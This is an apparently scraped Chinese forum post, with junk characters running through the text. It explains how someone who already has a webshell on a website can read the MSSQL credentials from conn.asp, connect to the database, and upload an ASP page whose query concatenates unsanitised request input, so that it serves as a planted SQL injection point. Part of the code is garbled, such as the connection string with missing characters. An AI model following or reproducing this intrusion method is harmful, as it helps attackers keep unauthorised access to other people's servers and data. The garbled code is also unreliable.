首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:) p$ y# m8 S0 ]
ASP/Visual Basic代码
( S( Q$ E6 a |<!--#include file="xx.asp"-->
- p) E, V4 C0 R3 n7 Y* S<%
5 ~7 `( Q# y5 E- Eset rs=server.createobject("ADODB.recordset")
, z$ v% Q- r* b- Z3 @id = request("id") " y4 t: l* K* o5 k% t9 T' i6 Y
strSQL = "select * from admin where id=" & id
1 c+ D. s: Z6 \' I4 |; q% B. I; b8 vrs.open strSQL,conn,1,3 & e @/ b- J7 E V; K. G
rs.close 1 N9 g1 z* X3 Q8 i4 S. K* v) i
%>
2 c0 Q! s1 p1 c" x/ I. ]5 y把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!$ y: w) \& ~" c+ e0 W# H8 Q& ?
然后就要构造一个连接数据库的文件了,代码如下:4 R7 o; m7 a6 @0 ^8 N
ASP/Visual Basic代码
; D; H* v6 w. G4 j. o5 S' W<%
* m& u# i6 r9 H$ Z* Y' x" b5 m mstrSQLServerName = "000.000.000.000" '服务器名称或地址
2 L6 }5 w! @1 B3 ^* ostrSQLDBUserName = "sqlname" '数据库帐号 ) W( _3 I: j7 e7 }2 F) z- t
strSQLDBPassword = "sqlpass" '数据库密码
* V8 v1 e6 _6 astrSQLDBName = "sqldataname" '数据库名称 / C" q) s6 L3 L9 f
Set conn = Server.CreateObject("ADODB.Connection")
0 r' _- a+ E R# \strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
/ y7 k( } G/ }; t* N/ F5 Dconn.open strCon " _3 }4 o! D2 P% ^; }
%>
! w6 f P# ? L% m这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功% ]0 R2 O: f# W# A5 |
|